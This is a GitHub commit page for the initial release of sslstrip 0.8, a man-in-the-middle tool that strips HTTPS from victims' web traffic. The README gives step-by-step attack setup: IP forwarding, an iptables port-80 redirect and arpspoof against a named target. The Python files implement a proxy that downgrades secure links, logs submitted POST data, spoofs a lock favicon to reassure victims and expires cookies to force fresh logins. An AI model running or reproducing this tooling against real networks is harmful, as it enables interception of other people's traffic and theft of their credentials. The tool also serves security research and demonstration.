Permalink
Browse files

initial commit, release 0.8

0 parents commit 6015604ff2ae2d5f9457a528c4a2b53f69ae8837 @moxie0 committed Apr 24, 2011
674 COPYING

Large diffs are not rendered by default.

Oops, something went wrong.
32 README
@@ -0,0 +1,32 @@
+sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
+attacks.
+
+It requires Python 2.5 or newer, along with the 'twisted' python module.
+
+Installing:
+ * Unpack: tar zxvf sslstrip-0.5.tar.gz
+ * Install twisted: sudo apt-get install python-twisted-web
+ * (Optionally) run 'python setup.py install' as root to install,
+ or you can just run it out of the directory.
+
+Running:
+ sslstrip can be run from the source base without installation.
+ Just run 'python sslstrip.py -h' as a non-root user to get the
+ command-line options.
+
+ The four steps to getting this working (assuming you're running Linux)
+ are:
+
+ 1) Flip your machine into forwarding mode (as root):
+ echo "1" > /proc/sys/net/ipv4/ip_forward
+
+ 2) Setup iptables to intercept HTTP requests (as root):
+ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>
+
+ 3) Run sslstrip with the command-line options you'd like (see above).
+
+ 4) Run arpspoof to redirect traffic to your machine (as root):
+ arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>
+
+More Info:
+ http://www.thoughtcrime.org/software/sslstrip/
BIN lock.ico
Binary file not shown.
@@ -0,0 +1,55 @@
+import sys, os, shutil
+from distutils.core import setup, Extension
+
+
+shutil.copyfile("sslstrip.py", "sslstrip/sslstrip")
+
+setup (name = 'sslstrip',
+ version = '0.8',
+ description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.',
+ author = 'Moxie Marlinspike',
+ author_email = 'moxie@thoughtcrime.org',
+ url = 'http://www.thoughtcrime.org/software/sslstrip/',
+ license = 'GPL',
+ packages = ["sslstrip"],
+ package_dir = {'sslstrip' : 'sslstrip/'},
+ scripts = ['sslstrip/sslstrip'],
+ data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])],
+ )
+
+print "Cleaning up..."
+try:
+ removeall("build/")
+ os.rmdir("build/")
+except:
+ pass
+
+try:
+ os.remove("sslstrip/sslstrip")
+except:
+ pass
+
+def capture(cmd):
+ return os.popen(cmd).read().strip()
+
+def removeall(path):
+ if not os.path.isdir(path):
+ return
+
+ files=os.listdir(path)
+
+ for x in files:
+ fullpath=os.path.join(path, x)
+ if os.path.isfile(fullpath):
+ f=os.remove
+ rmgeneric(fullpath, f)
+ elif os.path.isdir(fullpath):
+ removeall(fullpath)
+ f=os.rmdir
+ rmgeneric(fullpath, f)
+
+def rmgeneric(path, __func__):
+ try:
+ __func__(path)
+ except OSError, (errno, strerror):
+ pass
@@ -0,0 +1,108 @@
+#!/usr/bin/env python
+
+"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
+
+__author__ = "Moxie Marlinspike"
+__email__ = "moxie@thoughtcrime.org"
+__license__= """
+Copyright (c) 2004-2009 Moxie Marlinspike <moxie@thoughtcrime.org>
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License as
+published by the Free Software Foundation; either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+USA
+
+"""
+
+from twisted.web import http
+from twisted.internet import reactor
+
+from sslstrip.StrippingProxy import StrippingProxy
+from sslstrip.URLMonitor import URLMonitor
+from sslstrip.CookieCleaner import CookieCleaner
+
+import sys, getopt, logging, traceback, string, os
+
+gVersion = "0.8"
+
+def usage():
+ print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
+ print "Usage: sslstrip <options>\n"
+ print "Options:"
+ print "-w <filename>, --write=<filename> Specify file to log to (optional)."
+ print "-p , --post Log only SSL POSTs. (default)"
+ print "-s , --ssl Log all SSL traffic to and from server."
+ print "-a , --all Log all SSL and HTTP traffic to and from server."
+ print "-l <port>, --listen=<port> Port to listen on (default 10000)."
+ print "-f , --favicon Substitute a lock favicon on secure requests."
+ print "-k , --killsessions Kill sessions in progress."
+ print "-h Print this help message."
+ print ""
+
+def parseOptions(argv):
+ logFile = 'sslstrip.log'
+ logLevel = logging.WARNING
+ listenPort = 10000
+ spoofFavicon = False
+ killSessions = False
+
+ try:
+ opts, args = getopt.getopt(argv, "hw:l:psafk",
+ ["help", "write=", "post", "ssl", "all", "listen=",
+ "favicon", "killsessions"])
+
+ for opt, arg in opts:
+ if opt in ("-h", "--help"):
+ usage()
+ sys.exit()
+ elif opt in ("-w", "--write"):
+ logFile = arg
+ elif opt in ("-p", "--post"):
+ logLevel = logging.WARNING
+ elif opt in ("-s", "--ssl"):
+ logLevel = logging.INFO
+ elif opt in ("-a", "--all"):
+ logLevel = logging.DEBUG
+ elif opt in ("-l", "--listen"):
+ listenPort = arg
+ elif opt in ("-f", "--favicon"):
+ spoofFavicon = True
+ elif opt in ("-k", "--killsessions"):
+ killSessions = True
+
+ return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
+
+ except getopt.GetoptError:
+ usage()
+ sys.exit(2)
+
+def main(argv):
+ (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
+
+ logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
+ filename=logFile, filemode='w')
+
+ URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
+ CookieCleaner.getInstance().setEnabled(killSessions)
+
+ strippingFactory = http.HTTPFactory(timeout=10)
+ strippingFactory.protocol = StrippingProxy
+
+ reactor.listenTCP(int(listenPort), strippingFactory)
+
+ print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
+
+ reactor.run()
+
+if __name__ == '__main__':
+ main(sys.argv[1:])
@@ -0,0 +1,160 @@
+# Copyright (c) 2004-2009 Moxie Marlinspike
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import urlparse, logging, os, sys, random
+
+from twisted.web.http import Request
+from twisted.web.http import HTTPChannel
+from twisted.web.http import HTTPClient
+
+from twisted.internet import ssl
+from twisted.internet import defer
+from twisted.internet import reactor
+from twisted.internet.protocol import ClientFactory
+
+from ServerConnectionFactory import ServerConnectionFactory
+from ServerConnection import ServerConnection
+from SSLServerConnection import SSLServerConnection
+from URLMonitor import URLMonitor
+from CookieCleaner import CookieCleaner
+from DnsCache import DnsCache
+
+class ClientRequest(Request):
+
+ ''' This class represents incoming client requests and is essentially where
+ the magic begins. Here we remove the client headers we dont like, and then
+ respond with either favicon spoofing, session denial, or proxy through HTTP
+ or SSL to the server.
+ '''
+
+ def __init__(self, channel, queued, reactor=reactor):
+ Request.__init__(self, channel, queued)
+ self.reactor = reactor
+ self.urlMonitor = URLMonitor.getInstance()
+ self.cookieCleaner = CookieCleaner.getInstance()
+ self.dnsCache = DnsCache.getInstance()
+# self.uniqueId = random.randint(0, 10000)
+
+ def cleanHeaders(self):
+ headers = self.getAllHeaders().copy()
+
+ if 'accept-encoding' in headers:
+ del headers['accept-encoding']
+
+ if 'if-modified-since' in headers:
+ del headers['if-modified-since']
+
+ if 'cache-control' in headers:
+ del headers['cache-control']
+
+ return headers
+
+ def getPathFromUri(self):
+ if (self.uri.find("http://") == 0):
+ index = self.uri.find('/', 7)
+ return self.uri[index:]
+
+ return self.uri
+
+ def getPathToLockIcon(self):
+ if os.path.exists("lock.ico"): return "lock.ico"
+
+ scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))
+ scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")
+
+ if os.path.exists(scriptPath): return scriptPath
+
+ logging.warning("Error: Could not find lock.ico")
+ return "lock.ico"
+
+ def handleHostResolvedSuccess(self, address):
+ host = self.getHeader("host")
+ headers = self.cleanHeaders()
+ client = self.getClientIP()
+ path = self.getPathFromUri()
+
+ self.content.seek(0,0)
+ postData = self.content.read()
+ url = 'http://' + host + path
+
+ self.dnsCache.cacheResolution(host, address)
+
+ if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
+ logging.debug("Sending expired cookies...")
+ self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
+ host, headers, path))
+ elif (self.urlMonitor.isSecureFavicon(client, path)):
+ logging.debug("Sending spoofed favicon response...")
+ self.sendSpoofedFaviconResponse()
+ elif (self.urlMonitor.isSecureLink(client, url)):
+ logging.debug("Sending request via SSL...")
+ self.proxyViaSSL(host, self.method, path, postData, headers,
+ self.urlMonitor.getSecurePort(client, url))
+ else:
+ logging.debug("Sending request via HTTP...")
+ self.proxyViaHTTP(host, self.method, path, postData, headers)
+
+ def handleHostResolvedError(self, error):
+ logging.warning("Host resolution error: " + error)
+ self.finished()
+
+ def resolveHost(self, host):
+ address = self.dnsCache.getCachedAddress(host)
+
+ if address != None:
+ return defer.succeed(address)
+ else:
+ return reactor.resolve(host)
+
+ def process(self):
+ host = self.getHeader('host')
+ deferred = self.resolveHost(host)
+
+ deferred.addCallback(self.handleHostResolvedSuccess)
+ deferred.addErrback(self.handleHostResolvedError)
+
+ def proxyViaHTTP(self, host, method, path, postData, headers):
+ connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
+ connectionFactory.protocol = ServerConnection
+ self.reactor.connectTCP(host, 80, connectionFactory)
+
+ def proxyViaSSL(self, host, method, path, postData, headers, port):
+ clientContextFactory = ssl.ClientContextFactory()
+ connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
+ connectionFactory.protocol = SSLServerConnection
+ self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
+
+ def sendExpiredCookies(self, host, path, expireHeaders):
+ self.setResponseCode(302, "Moved")
+ self.setHeader("Connection", "close")
+ self.setHeader("Location", "http://" + host + path)
+
+ for header in expireHeaders:
+ self.setHeader("Set-Cookie", header)
+
+ self.finish()
+
+ def sendSpoofedFaviconResponse(self):
+ icoFile = open(self.getPathToLockIcon())
+
+ self.setResponseCode(200, "OK")
+ self.setHeader("Content-type", "image/x-icon")
+ self.write(icoFile.read())
+
+ icoFile.close()
+ self.finish()
Oops, something went wrong.

0 comments on commit 6015604

Please sign in to comment.